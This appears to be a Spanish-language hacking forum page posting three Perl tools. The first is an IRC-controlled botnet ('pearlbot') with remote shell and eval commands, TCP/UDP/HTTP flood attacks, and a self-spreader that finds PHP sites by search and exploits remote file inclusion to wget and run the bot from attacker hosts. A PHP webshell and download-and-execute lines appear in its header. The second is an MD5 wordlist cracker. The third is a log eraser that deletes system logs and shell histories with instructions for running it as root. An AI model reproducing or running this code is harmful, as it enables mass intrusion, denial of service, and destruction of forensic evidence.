#            - Added a few RFI exploits

#            - Added Hostauth/Channelkey/Serverpass function

#            - Added die command

#            - Added bot Remover

#            - Implemented a simple webserver that hosts the botfile on $wwwport

#              Now you just have to config your phpshell.

#            - Since some shells cant get the real external ip, you can use external webservers as well

#            - You can even include external files

#        ToDo:

#            - Update Command

#            - Connectbackshell trigger

#            - MassDefeace

#            - passwd/shadow sender

#            - Find a "good" way to crypt the code without using special libs

#

#        Cmd's:

#            - Start exploiting:    !say @sploit <seconds>

#            - Kill the bot:        !say @die

#            - Delete Bot:        !say @fuckit

#            - Portscan:            !say @portscan <ip/dns> <sourceport>

#            - Tcpflood:            !say @tcpflood <ip/dns> <port> <seconds>

#            - Httpflood:        !say @httpflood <ip/dns> <seconds>

#            - Udpflood:            !say @udpflood <ip/dns> <port> <seconds>

#            - Version:            !say @version

#            - Op/deOp:            !say @op/deop <nick>

#            - Msg:                !say @msg <nick/chan> <msg>

#            - Chanflood:        !say @flood <nick/chan> <msg>

#            - CTCP:                !say @ctcp <nick> <chat/ping/version/time>

#            - CTCP-Flood:        !say @ctcpflood <nick> <chat/ping/version/time>

#            - Nickchange:        !say @nick <nickname>

#            - Connect:            !say @connect <irc-server>

#            - Raw Commands:        !say @raw <rawcmd>

#            - Eval:                !say @eval <?>

#

#

#            ###########################

#            # php_shell.gif:          #

#            # <?                      #

#            # passthru($_GET['cmd']); #

#            # ?>                      #

#            ###########################

#

#            ###########################################################################
#############################

#            # pwn.php                                                                                               #

#            # <?                                                                                                    #

#            # passthru('cd /tmp;wget http://yourhost.org/pearlbot.pl;perl pearlbot.pl;rm pearlbot.pl.*');           #

#            # passthru('cd /tmp;curl -O http://yourhost.org/pearlbot.pl;perl pearlbot.pl;rm pearlbot.pl.*');        #

#            # passthru('cd /tmp;lwp-download http://yourhost.org/pearlbot.pl;perl pearlbot.pl;rm pearlbot.pl.*');   #

#            # ?>                                                                                                    #

#            ###########################################################################
#############################

#

#

################################################################################
################################################

use strict();

use IO::Socket;

use Socket;

use IO::Select;

use Net::hostent;



# Checking if the process is allready running...

my $process = 'inedt'; if (`ps u` =~ /inedt/) { exit; }    # change the shown process



my @admins = ("Mindfuck","x0r");                        # admin nicknames

my @hostauth = ("pwnz.ya");                            # admin host

my @channels = ("#pearl#");                                # irc channel

my $chankey = 'titten';                                    # channel key

$server = 'pwndpwndpwnd.org' unless $server;                # irc server

my $port = '11011';                                        # irc server port

my $servpass = 'Key';                                    # irc server password

my $wwwport = '1337';                                    # webserver port

my $phpshell = "http://mindfuck.gotdns.org/";        # URL of your phpshell

my $usepwnphp = '0';                        # Include external file in your exploit?

my $pwnphp = "http://pwn4fun.gotdns.org/";        # A PhP file to include

my $scanmsg = '1';                                        # Print Exploit Messages to Channel?

my $bothttpd = '0';                                        # Use own httpd? (Set 2 for pwnphp)

my $ex_botfile = "http://mindfuck.gotdns.org/";



######################################### Exploits ###################################################################

my $search1 = "%22option=com_galleria%22+site%3A".$dom."%20", "inurl:%22".$dom."/index.php?option=com_galleria%22";

my $sploit1 = "/components/com_galleria/galleria.html.php?mosConfig_absolute_path=";

my $search2 = "%22inurl%3A%2Fmodules.php%3Fop%3Dmodload%22+%22inurl%3Acm_summary%22";

my $sploit2 = "/cm_navigation.inc.php?path_pre=";

my $search3 = "%22inurl%3Aindex.php%3Fwiki%3D%22+%22wikepage%22";

my $sploit3 = "/index.php?cmd=id&lng=";



my $tehsploit = $sploit3;    # Set the active exploit here

my $tehsearch = $search3;    # Set active search

################################################################################
#####################################



   

#########################################

#                                        #

#   NO NEED TO EDIT BELOW THIS LINE!    #

#                                        #

#########################################

my $filename = __FILE__;

my $lines_max='4';

my $sleep='5';

my $ifconfig = `/sbin/ifconfig`;

$ifconfig =~ m/(d+.d+.d+.d+)/;

my $ip = $1;

chop (my $nick = `whoami`);

chop (my $ircname = `whoami`);

chop (my $realname = `uname -sr`);

my $VERSION = '0.7b';

$SIG{'INT'} = 'IGNORE';

$SIG{'HUP'} = 'IGNORE';

$SIG{'TERM'} = 'IGNORE';

$SIG{'CHLD'} = 'IGNORE';

$server="$ARGV[0]" if $ARGV[0];

$0="$process"."0"x16;;

my $pid=fork;

exit if $pid;

die "Cant fork: $!" unless defined($pid);

print "Another one bites the Dust...n";

our %irc_servers;

our %DCC;

my $dcc_sel = new IO::Select->new();

$sel_client = IO::Select->new();

sub sendraw {

    if ($#_ == '1') {

    my $socket = $_[0];

    print $socket "$_[1]n";

    } else {

        print $IRC_cur_socket "$_[0]n";

        }

    }

############ WWW START ##################

if ($bothttpd == 1) {

    sub www() {

        my $filename = __FILE__;

        open(FILE, $filename);

        my @botfile = <FILE>;

        my $wwwserver = IO::Socket::INET->new(

        Proto =>'tcp',

        LocalPort =>$wwwport,

        Listen=> SOMAXCONN,

        Reuse=> 1 );

        die "WWW Server NOT started" unless $wwwserver;

        while ($wwwclient = $wwwserver->accept()) {

            $wwwclient -> autoflush(1);

            print $wwwclient "@botfile";

            sleep(1);

            close $wwwclient;

        }

    }

        my $wwwpid=fork;

        exit if $wwwpid;

        die "Cant fork: $!" unless defined($wwwpid);

        if (my $wwwpid = fork) {

            waitpid($wwwpid, 0);

        } else {

        if (fork) {

                       exit;

                } else {

                    www;

                }

        }

} else { print "Started without Bot httpd, make sure your botfile is reachablen"; }

############ WWW END ####################



sub connection {

    my $meunick = $_[0];

    my $server_con = $_[1];

    my $port_con = $_[2];

    my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$server_con", PeerPort=>$port_con) or return(1);

    if (defined($IRC_socket)) {

        $IRC_cur_socket = $IRC_socket;

        $IRC_socket->autoflush(1);

        $sel_client->add($IRC_socket);

        $irc_servers{$IRC_cur_socket}{'host'} = "$server_con";

        $irc_servers{$IRC_cur_socket}{'port'} = "$port_con";

        $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;

        $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;

        nick("$meunick");

        sendraw("USER $ircname ".$IRC_socket->sockhost." $server_con :$realname");

        sleep 1;

        }

    }



my $line_temp;

    while( 1 ) {

        while (!(keys(%irc_servers))) { connection("$nick", "$server", "$port", "$servpass"); }

        delete($irc_servers{''}) if (defined($irc_servers{''}));

        my @ready = $sel_client->can_read(0);

        next unless(@ready);

        foreach $fh (@ready) {

            $IRC_cur_socket = $fh;

            $meunick = $irc_servers{$IRC_cur_socket}{'nick'};

            $nread = sysread($fh, $msg, 4096);

            if ($nread == 0) {

                $sel_client->remove($fh);

                $fh->close;

                delete($irc_servers{$fh});

                }

            @lines = split (/n/, $msg);

            for(my $c=0; $c<= $#lines; $c++) {

                $line = $lines[$c];

                $line=$line_temp.$line if ($line_temp);

                $line_temp='';

                $line =~ s/r$//;

                unless ($c == $#lines) {

                    parse("$line");

                    } else {

                        if ($#lines == 0) {

                            parse("$line");

                        } elsif ($lines[$c] =~ /r$/) {

                            parse("$line");

                        } elsif ($line =~ /^(S+) NOTICE AUTH :***/) {

                            parse("$line");

                        } else { $line_temp = $line; }

                    }

            }

        }

    }



sub parse {

    my $servarg = shift;

    if ($servarg =~ /^PING :(.*)/) {

        sendraw("PONG :$1");

        } elsif ($servarg =~ /^:(.+?)!(.+?)@(.+?) PRIVMSG (.+?) :(.+)/) {

            my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;

        if ($args =~ /^001VERSION001$/) {

            notice("$pn", "001VERSION IrOffer v1.4001");

        }

        if (grep {$_ =~ /^Q$hostmaskE$/i } @hostauth) {

            if (grep {$_ =~ /^Q$pnE$/i } @admins) {

                if ($onde eq "$meunick"){

                    shell("$pn", "$args");

                    }

            if ($args =~ /^(Q$meunickE|!say)s+(.*)/ ) {

                my $natrix = $1;

                my $arg = $2;

            if ($arg =~ /^!(.*)/) {

                ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^!nick/);

            } elsif ($arg =~ /^@(.*)/) {

                $ondep = $onde;

                $ondep = $pn if $onde eq $meunick;

                bfunc("$ondep","$1");

            } else {

                shell("$onde", "$arg");

                }

            }

        }

    }

}

elsif ($servarg =~ /^:(.+?)!(.+?)@(.+?)s+NICKs+:(S+)/i) {

    if (lc($1) eq lc($meunick)) {

        $meunick=$4;

        $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;

    }

    } elsif ($servarg =~ m/^:(.+?)s+433/i) {

        nick("$meunick|".int rand(999999));

    } elsif ($servarg =~ m/^:(.+?)s+001s+(S+)s/i) {

        $meunick = $2;

        $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;

        $irc_servers{$IRC_cur_socket}{'nome'} = "$1";

        foreach my $channel (@channels) {

        sendraw("JOIN $channel $chankey");

        }

    }

}



sub bfunc {

    my $printl = $_[0];

    my $funcarg = $_[1];

    if (my $pid = fork) {

        waitpid($pid, 0);

    } else {

        if (fork) {

            exit;

        } else {

            if ($funcarg =~ /^portscan (.*)/) {

                my $hostip="$1";

                my @ports=("21","22","23","25","80","113","135","445","1025","5000","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","8080","8018");

                my (@result, %port_banner);

                sendraw($IRC_cur_socket, "PRIVMSG $printl :002[SCAN]002 Scanning ".$1." for open ports.");   

                foreach my $port (@ports)  {

                    my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $port, Proto => 'tcp', Timeout => 4);

                    if ($scansock) {

                        push (@result, $port);

                        $scansock->close;

                    }

                }

            if (@result) {

                sendraw($IRC_cur_socket, "PRIVMSG $printl :002[SCAN]002 Open port(s): @result");

            } else {

                sendraw($IRC_cur_socket,"PRIVMSG $printl :002[SCAN]002 No open ports found");

            }

        }

        if ($funcarg =~ /^tcpfloods+(.*)s+(d+)s+(d+)/) {

            sendraw($IRC_cur_socket, "PRIVMSG $printl :002[TCP]002 Attacking ".$1.":".$2." for ".$3." seconds.");

            my $itime = time;

            my ($cur_time);

            $cur_time = time - $itime;

            while ($3>$cur_time){

                $cur_time = time - $itime;

                &tcpflooder("$1","$2","$3");

            }

        sendraw($IRC_cur_socket, "PRIVMSG $printl :002[TCP]002 Attack done ".$1.":".$2.".");

        }

        if ($funcarg =~ /^version/) {

            sendraw($IRC_cur_socket, "PRIVMSG $printl :002[VERSION]002 pearlb0t ver ".$VERSION); 

            }

        if ($funcarg =~ /^www/) {

            sendraw($IRC_cur_socket, "PRIVMSG $printl :002[WWW]002 Bot serving itself on $ip:$wwwport");

            }

        if ($funcarg =~ /^die/) {

            sendraw($IRC_cur_socket, "PRIVMSG $printl :002[DIE]002 Okay Boss, im goin home...");

            system("kill -9 `ps ax |grep $process |grep -v grep|awk '{print $1;}'`");

        }

        if ($funcarg =~ /^fuckit/) {

                sendraw($IRC_cur_socket, "PRIVMSG $printl :002[DIE]002 Hmkay, deleting ".$filename."...");

                system("rm $filename");

                sendraw($IRC_cur_socket, "PRIVMSG $printl :002[DIE]002 Stopping process $process");

                system("kill -9 `ps ax |grep $process |grep -v grep|awk '{print $1;}'`");

            }

                        if ($funcarg =~ /^sploit (.*)/) {

                                sendraw($IRC_cur_socket, "PRIVMSG $printl :002[SCAN]002 Scanning for ".$1." seconds.");

                                if ($bothttpd == 1) {

                                        srand;

                                        my $itime = time;

                                        my ($cur_time);

                                        my ($exploited);

                                        $boturl= "http://$ip:$wwwport";

                                        $cur_time = time - $itime;$exploited = 0;

                                        while($1>$cur_time){

                                                $cur_time = time - $itime;

                                                @urls=fetch();

                                                foreach $url (@urls) {

                                                        $cur_time = time - $itime;

                                                        my $path = "";my $file = "";($path, $file) = $url =~ /^(.+)/(.+)$/;

                                                        $url =$path."$tehsploit$phpshell?cmd=cd+/tmp;wget+$boturl+-o+$filename;perl+$filename";

                                                        my $page = http_query($url);

                                                        if ($scanmsg == 1) {

                                                                sendraw($IRC_cur_socket, "PRIVMSG $printl :002[SCAN]002 Exploiting http://".$url);

                                                                $exploited = $exploited + 1;

                            }

                                                }

                                        }

                                }

                                if ($bothttpd == 0) {

                                        srand;

                                        my $itime = time;

                                        my ($cur_time);

                                        my ($exploited);

                                        $boturl= "$ex_botfile";

                                        $cur_time = time - $itime;$exploited = 0;

                                        while($1>$cur_time){

                                                $cur_time = time - $itime;

                                                @urls=fetch();

                                                foreach $url (@urls) {

                                                        $cur_time = time - $itime;

                                                        my $path = "";my $file = "";($path, $file) = $url =~ /^(.+)/(.+)$/;

                                                        $url =$path."$tehsploit$phpshell?cmd=cd+/tmp;wget+$boturl;perl+$filename";

                            my $page = http_query($url);

                                                                if ($scanmsg == 1) {

                                                                        sendraw($IRC_cur_socket, "PRIVMSG $printl :002[SCAN]002 Exploiting http://".$url);

                                                                        $exploited = $exploited + 1;

                                                                }

                                                }

                                        }





                                }

                if (($usepwnphp == 1) && ($bothttpd == 2)) {

                                        srand;

                                        my $itime = time;

                                        my ($cur_time);

                                        my ($exploited);

                                        $cur_time = time - $itime;$exploited = 0;

                                        while($1>$cur_time){

                                                $cur_time = time - $itime;

                                                @urls=fetch();

                                                foreach $url (@urls) {

                                                        $cur_time = time - $itime;

                                                        my $path = "";my $file = "";($path, $file) = $url =~ /^(.+)/(.+)$/;

                                                        $url =$path."$tehsploit$pwnphp";

                                                        my $page = http_query($url);

                                                                if ($scanmsg == 1) {

                                                                        sendraw($IRC_cur_socket, "PRIVMSG $printl :002[SCAN]002 Exploiting http://".$url);

                                                                        $exploited = $exploited + 1;

                                                                }

                                                }

                                        }





                                }

                        if ($scanmsg == 1) {

                                sendraw($IRC_cur_socket, "PRIVMSG $printl :002[SCAN]002 Exploited ".$exploited." boxes in ".$1." seconds.");

                                }

                        }

            if ($funcarg =~ /^httpfloods+(.*)s+(d+)/) {

                sendraw($IRC_cur_socket, "PRIVMSG $printl :002[HTTP]002 Attacking ".$1.":80 for ".$2." seconds.");

                my $itime = time;

                my ($cur_time);

                $cur_time = time - $itime;

                while ($2>$cur_time){

                    $cur_time = time - $itime;

                    my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);

                    print $socket "GET / HTTP/1.1rnAccept: */*rnHost: ".$1."rnConnection: Keep-Alivernrn";

                    close($socket);

                }

            sendraw($IRC_cur_socket, "PRIVMSG $printl :002[HTTP]002 Attacking done ".$1.".");

            }

            if ($funcarg =~ /^udpfloods+(.*)s+(d+)s+(d+)/) {

                sendraw($IRC_cur_socket, "PRIVMSG $printl :002[UDP]002 Attacking ".$1." with ".$2." Kb packets for ".$3." seconds.");

                my ($dtime, %packets) = udpflooder("$1", "$2", "$3");

                $dtime = 1 if $dtime == 0;

                my %bytes;

                $bytes{igmp} = $2 * $packets{igmp};

                $bytes{icmp} = $2 * $packets{icmp};

                $bytes{o} = $2 * $packets{o};

                $bytes{udp} = $2 * $packets{udp};

                $bytes{tcp} = $2 * $packets{tcp};

                sendraw($IRC_cur_socket, "PRIVMSG $printl :002[UDP]002 Sent ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." Kb in ".$dtime." seconds to ".$1.".");

            }

            exit;

        }

    }

}



sub ircase {

    my ($kem, $printl, $case) = @_;

    if ($case =~ /^join (.*)/) {

        j("$1");

    }

    if ($case =~ /^part (.*)/) {

        p("$1");

    }

    if ($case =~ /^rejoins+(.*)/) {

        my $chan = $1;

        if ($chan =~ /^(d+) (.*)/) {

            for (my $ca = 1; $ca <= $1; $ca++ ) {

                p("$2");

                j("$2");

            }

        } else {

            p("$chan");

            j("$chan");

        }

    }

    if ($case =~ /^op/) {

        op("$printl", "$kem") if $case eq "op";

        my $oarg = substr($case, 3);

        op("$1", "$2") if ($oarg =~ /(S+)s+(S+)/);

    }

    if ($case =~ /^deop/) {

        deop("$printl", "$kem") if $case eq "deop";

        my $oarg = substr($case, 5);

        deop("$1", "$2") if ($oarg =~ /(S+)s+(S+)/);

    }

    if ($case =~ /^msgs+(S+) (.*)/) {

        msg("$1", "$2");

    }

    if ($case =~ /^floods+(d+)s+(S+) (.*)/) {

        for (my $cf = 1; $cf <= $1; $cf++) {

            msg("$2", "$3");

        }

    }

    if ($case =~ /^ctcps+(S+) (.*)/) {

        ctcp("$1", "$2");

    }

    if ($case =~ /^ctcpfloods+(d+)s+(S+) (.*)/) {

        for (my $cf = 1; $cf <= $1; $cf++) {

            ctcp("$2", "$3");

        }

    }

    if ($case =~ /^nick (.*)/) {

        nick("$1");

    }

    if ($case =~ /^connects+(S+)s+(S+)/) {

        connection("$2", "$1", 6667);

    }

    if ($case =~ /^raw (.*)/) {

        sendraw("$1");

    }

    if ($case =~ /^eval (.*)/) {

        eval "$1";

    }

}



sub shell {

    my $printl=$_[0];

    my $cmd=$_[1];

    if ($cmd =~ /cd (.*)/) {

        chdir("$1") || msg("$printl", "No such file or directory");

        return;

    }

    elsif ($pid = fork) {

        waitpid($pid, 0);

    } else {

        if (fork) {

            exit;

        } else {

            my @resp=`$cmd 2>&1 3>&1`;

            my $c=0;

            foreach my $linha (@resp) {

                $c++;

                chop $linha;

                sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");

                if ($c == "$lines_max") {

                    $c=0;

                    sleep $sleep;

                }

        }

        exit;

        }

    }

}



sub tcpflooder {

    my $itime = time;

    my ($cur_time);

    my ($ia,$pa,$proto,$j,$l,$t);

    $ia=inet_aton($_[0]);

    $pa=sockaddr_in($_[1],$ia);

    $ftime=$_[2];

    $proto=getprotobyname('tcp');

    $j=0;$l=0;

    $cur_time = time - $itime;

    while ($l<1000){

        $cur_time = time - $itime;

        last if $cur_time >= $ftime;

        $t="SOCK$l";

        socket($t,PF_INET,SOCK_STREAM,$proto);

        connect($t,$pa)||$j--;

        $j++;$l++;

        }

    $l=0;

    while ($l<1000){

    $cur_time = time - $itime;

    last if $cur_time >= $ftime;

    $t="SOCK$l";

    shutdown($t,2);

    $l++;

    }

}



sub udpflooder {

    my $iaddr = inet_aton($_[0]);

    my $msg = 'A' x $_[1];

    my $ftime = $_[2];

    my $cp = 0;

    my (%packets);

    $packets{icmp} = $packets{igmp} = $packets{udp} = $packets{o} = $packets{tcp} = 0;

    socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;

    socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;

    socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;

    socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;

    return(undef) if $cp == 4;

    my $itime = time;

    my ($cur_time);

    while ( 1 ) {

        for (my $port = 1; $port <= 65000; $port++) {

            $cur_time = time - $itime;

            last if $cur_time >= $ftime;

            send(SOCK1, $msg, 0, sockaddr_in($port, $iaddr)) and $packets{igmp}++;

            send(SOCK2, $msg, 0, sockaddr_in($port, $iaddr)) and $packets{udp}++;

            send(SOCK3, $msg, 0, sockaddr_in($port, $iaddr)) and $packets{icmp}++;

            send(SOCK4, $msg, 0, sockaddr_in($port, $iaddr)) and $packets{tcp}++;

            for (my $pc = 3; $pc <= 255;$pc++) {

                next if $pc == 6;

                $cur_time = time - $itime;

                last if $cur_time >= $ftime;

                socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;

                send(SOCK5, $msg, 0, sockaddr_in($port, $iaddr)) and $packets{o}++;

            }

        }

    last if $cur_time >= $ftime;

    }

return($cur_time, %packets);

}



sub ctcp {

    return unless $#_ == 1;

    sendraw("PRIVMSG $_[0] :001$_[1]001");

}

sub msg {

    return unless $#_ == 1;

    sendraw("PRIVMSG $_[0] :$_[1]");



sub notice {

    return unless $#_ == 1;

    sendraw("NOTICE $_[0] :$_[1]");

}

sub op {

    return unless $#_ == 1;

    sendraw("MODE $_[0] +o $_[1]");

}

sub deop {

    return unless $#_ == 1;

    sendraw("MODE $_[0] -o $_[1]");

}

sub j { &join(@_); }

sub join {

    return unless $#_ == 0;

    sendraw("JOIN $_[0]");

}

    sub p { part(@_); }

    sub part {

    sendraw("PART $_[0]");

}

sub nick {

    return unless $#_ == 0;

    sendraw("NICK $_[0]");

}

sub quit {

    sendraw("QUIT :$_[0]");

}



# Spreader

# this 'spreader' code isnt mine, i dont know who coded it.

# update: well, i just fix0red this shit a bit.

# update2: Dunno what you fix0red, but surely it wasnt the spreader, now its workin...



sub fetch(){

    my $rnd=(int(rand(9999)));

    my $n= 80;

    if ($rnd<5000) { $n<<=1;}

    my $s= (int(rand(10)) * $n);

    my @domains = ("com","net","org","info","gov", "gob","gub","xxx", "eu","mil","edu","aero","name","us","ca","mx","pa","ni","cu","pr","ve","co","pe","ec",

    "py","cl","uy","ar","br","bo","au","nz","cz","kr","jp","th","tw","ph","cn","fi","de","es","pt","ch","se","su","it","gr","al","dk","pl","biz","int","pro","museum","coop",

    "af","ad","ao","ai","aq","ag","an","sa","dz","ar","am","aw","at","az","bs","bh","bd","bb","be","bz","bj","bm","bt","by","ba","bw","bn","bg","bf","bi",

    "vc","kh","cm","td","cs","cy","km","cg","cd","dj","dm","ci","cr","hr","kp","eg","sv","aw","er","sk",

    "ee","et","ge","fi","fr","ga","gs","gh","gi","gb","uk","gd","gl","gp","gu","gt","gg","gn","gw","gq","gy","gf","ht","nl","hn","hk","hu","in","id","ir",

    "iq","ie","is","ac","bv","cx","im","nf","ky","cc","ck","fo","hm","fk","mp","mh","pw","um","sb","sj","tc","vg","vi","wf","il","jm","je","jo","kz","ke",

    "ki","kg","kw","lv","ls","lb","ly","lr","li","lt","lu","mo","mk","mg","my","mw","mv","ml","mt","mq","ma","mr","mu","yt","md","mc","mn","ms","mz","mm",

    "na","nr","np","ni","ne","ng","nu","no","nc","om","pk","ps","pg","pn","pf","qa","sy","cf","la","re","rw","ro","ru","eh","kn","ws","as","sm","pm","vc",

    "sh","lc","va","st","sn","sc","sl","sg","so","lk","za","sd","se","sr","sz","rj","tz","io","tf","tp","tg","to","tt","tn","tr","tm","tv","ug","ua","uz",

    "vu","vn","ye","yu","cd","zm","zw","");

    my @str;

    foreach $dom  (@domains) {

        push (@str,"$tehsearch");

    }

    my $query="www.google.com/search?q=";

    $query.=$str[(rand(scalar(@str)))];

    $query.="&num=$n&start=$s";

    my @lst=();

    my $page = http_query($query);

    while ($page =~  m/<a class=l href="?http://([^>"]+)"?>/g){

    if ($1 !~ m/google|cache|translate/){

        push (@lst,$1);

        }

    }

return (@lst);

}

 

sub http_query($){

    my ($url) = @_;

    my $host=$url;

    my $query=$url;

    my $page="";

    $host =~ s/href="?http:////;

    $host =~ s/([-a-zA-Z0-9.]+)/.*/$1/;

    $query =~s/$host//;

    if ($query eq "") {$query="/";};

    eval {

        local $SIG{ALRM} = sub { die "1";};

        alarm 10;

        my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;

        print $sock "GET $query HTTP/1.0rnHost: $hostrnAccept: */*rnUser-Agent: Mozilla/5.0rnrn";

        my @r = <$sock>;

        $page="@r";

        alarm 0;

        close($sock);

    };   

return $page;

}
#31
Perl / MD5 Cracker Ataque por Wordlist
Enero 27, 2011, 08:46:39 PM
Código: perl
#!/usr/bin/perl



use strict;

use warnings;

use Digest::MD5 qw(md5_hex);



sub usage(){



print "nt******** Splash Md5 cracker! *********nn";

print "t  Usage: $0 <hash-file> <wordlist>nn";

print "t**************************************nn";



}



my $hashplace=shift;

my $wlistplace=shift;



if(!$wlistplace){

    usage();

    exit;

}

    open(HASH,$hashplace) || die "Could not open hash: $!n";

        chomp(my $hash=<HASH>);

    close(HASH);



if(length($hash)!=32){

    die "t$hash is not a valid md5-hash!n";

}

if($hash !~ /d|[a-f]{32}/g){

    die "t$hash is not a valid md5-hash!n";

}

    open(WLIST,$wlistplace) || die "Could not open wordlist: $!n";



while(<WLIST>){

    chomp($_);

    chomp(my $md5=md5_hex($_));

    print "$md5 != $hashn";

    if($md5 eq $hash){

        die "tHash successfully cracked!nnt$hash == $_nn";

    }

}

close(WLIST);



print "Hash not found in wordlistn";
#32
Perl / Tool para borrar logs en Linux
Enero 27, 2011, 08:46:20 PM
Código: perl

#########################################################################################################
#                                          log eraser MSRLE v0.1                                        #
#                                                                                                       #
#                                             coded by PRI[ll                                           #
#                                                                                                       #
#                                                03/07/2005                                             #
#                                                                                                       #
#                              Morocco.security.rulz /s irc.gigachat.net -j #MSR                        #
#                                                                                                       #
#                             usage:(you should run this tool as root (sure =))) exemple:               #
#                                                                                                       #
#                      [root@MOROCCO:/root]# wget www.go0gler.com/MSRLE;chmod 777 MSRLE;./MSRLE         #
#                      !!!!! MSRLE v0.1!!!!!                                                            #
#                      !!!!coded by PRI[ll!!!!                                                          #
#                      [*]erasing default log files (too fast =))                                       #
#                      [*]/var/log/lastlog -erased Ok                                                   #
#                      [*]/var/log/wtmp -erased Ok                                                      #
#                      [*]/etc/wtmp - No such file or directory                                         #
#                                                                                [email protected]#
#########################################################################################################
#!usr/bin/perl
use strict;
print "!!!!! MSRLE v0.1!!!!!\n";
print "Morocco.Security.Rulz.Log.Eraser\n";
print "!!!!coded by PRI[ll!!!!\n";
system "echo -e \"\033[01;34m---------erasing default log files (too fast =))---------\033[01;37m\"\n";
if( -e "/var/log/lastlog" )
{
   system 'rm -rf /var/log/lastlog';
   system "echo -e \"\\033[01;37m [*]/var/log/lastlog -erased Ok\"\n";
}
else
{
  system "echo -e \"\\033[01;31m[*]/var/log/lastlog - No such file or directory\\033[01;37m\"\n";
}
if( -e "/var/log/wtmp" )
{
   system 'rm -rf /var/log/wtmp';
   system "echo -e \"\\033[01;37m [*]/var/log/wtmp -erased Ok\"\n";
}
else
{
  system "echo -e \"\\033[01;31m[*]/var/log/wtmp - No such file or directory\\033[01;37m\"\n";
}
if( -e "/etc/wtmp" )
{
   system 'rm -rf /etc/wtmp';
   system "echo -e \"\\033[01;37m [*]/etc/wtmp -erased Ok\"\n";
}
else
{
  system "echo -e \"\\033[01;31m[*]/etc/wtmp - No such file or directory\\033[01;37m\"\n";
}
if( -e "/var/run/utmp" )
{
   system 'rm -rf /var/run/utmp';
   system "echo -e \"\\033[01;37m [*]/var/run/utmp -erased Ok\"\n";
}
else
{
  system "echo -e \"\\033[01;31m[*]/var/run/utmp - No such file or directory\\033[01;37m\"\n";
}
if( -e "/etc/utmp" )
{
   system 'rm -rf /etc/utmp';
   system "echo -e \"\\033[01;37m [*]/etc/utmp -erased Ok\"\n";
}
else
{
  system "echo -e \"\\033[01;31m[*]/etc/utmp - No such file or directory\\033[01;37m\"\n";
}
if( -e "/var/log" )
{
   system 'rm -rf /var/log';
   system "echo -e \"\\033[01;37m [*]/var/log -erased Ok\"\n";
}
else
{
  system "echo -e \"\\033[01;31m[*]/var/log - No such file or directory\\033[01;37m\"\n";
}
if( -e "/var/logs" )
{
   system 'rm -rf /var/logs';
   system "echo -e \"\\033[01;37m [*]/var/logs -erased Ok\"\n";
}
else
{
  system "echo -e \"\\033[01;31m[*]/var/logs - No such file or directory\\033[01;37m\"\n";
}
if( -e "/var/adm" )
{
   system 'rm -rf /var/adm';
   system "echo -e \"\\033[01;37m [*]/var/adm -erased Ok\"\n";
}
else
{
  system "echo -e \"\\033[01;31m[*]/var/adm - No such file or directory\\033[01;37m\"\n";
}
if( -e "/var/apache/log" )
{
   system 'rm -rf /var/apache/log';
   system "echo -e \"\\033[01;37m [*]/var/apache/log -erased Ok\"\n";
}
else
{
  system "echo -e \"\\033[01;31m[*]/var/apache/log - No such file or directory\\033[01;37m\"\n";
}
if( -e "/var/apache/logs" )
{
   system 'rm -rf /var/apache/logs';
   system "echo -e \"\\033[01;37m [*]/var/apache/logs -erased Ok\"\n";
}
else
{
  system "echo -e \"\\033[01;31m[*]/var/apache/logs - No such file or directory\\033[01;37m\"\n";
}
if( -e "/usr/local/apache/log" )
{
   system 'rm -rf /usr/local/apache/log';
   system "echo -e \"\\033[01;37m [*]/usr/local/apache/log -erased Ok\"\n";
}
else
{
  system "echo -e \"\\033[01;31m[*]/usr/local/apache/log - No such file or directory\\033[01;37m\"\n";
}
if( -e "/usr/local/apache/logs" )
{
   system 'rm -rf /usr/local/apache/logs';
   system "echo -e \"\\033[01;37m [*]/usr/local/apache/logs -erased Ok\"\n";
}
else
{
  system "echo -e \"\\033[01;31m[*]/usr/local/apache/logs - No such file or directory\\033[01;37m\"\n";
}
if( -e "/root/.bash_history" )
{
   system 'rm -rf /root/.bash_history';
   system "echo -e \"\\033[01;37m [*]/root/.bash_history -erased Ok\"\n";
}
else
{
  system "echo -e \"\\033[01;31m[*]/root/.bash_history - No such file or directory\\033[01;37m\"\n";
}
if( -e "/root/.ksh_history" )
{
   system 'rm -rf /root/.ksh_history';
   system "echo -e \"\\033[01;37m [*]/root/.ksh_history -erased Ok\"\n";
}
else
{
  system "echo -e \"\\033[01;31m[*]/root/.ksh_history - No such file or directory\\033[01;37m\"\n";
}
system "echo -e \"\\033[01;37m[+] -----done all default log and bash_history files erased !!\"\n";
system "echo -e \"\033[01;34m---------Now Erasing the rest of the machine log files (can be long :S)---------\033[01;37m\"\n";
system 'find / -name *.bash_history -exec rm -rf {} \;';
system "echo -e \"\\033[01;37m[*] all *.bash_history files -erased Ok!\"\n";
system 'find / -name *.bash_logout -exec rm -rf {} \;';
system "echo -e \"\\033[01;37m[*] all *.bash_logout files -erased Ok!\"\n";
system 'find / -name log* -exec rm -rf {} \;';
system "echo -e \"\\033[01;37m[*] all log* files -erased Ok!\"\n";
system 'find / -name *.log -exec rm -rf {} \;';
system "echo -e \"\\033[01;37m[*] all *.log files -erased Ok!\"\n";
system "echo -e \"\033[01;34m-------[+] !done all log files erased![+]-------\033[01;37m\"\n";


Bueno pegan el code en el block de notas y lo guardan con la extension *.pl  (obvio)
Una vez que "sean root" en el server, la dan permisos 777:

Código: php
chmod -c 777 log.pl


Despues la ejecutan:
Código: php
perl log.pl


Ahi comenzara a buscar los logs y a borrar.
#33
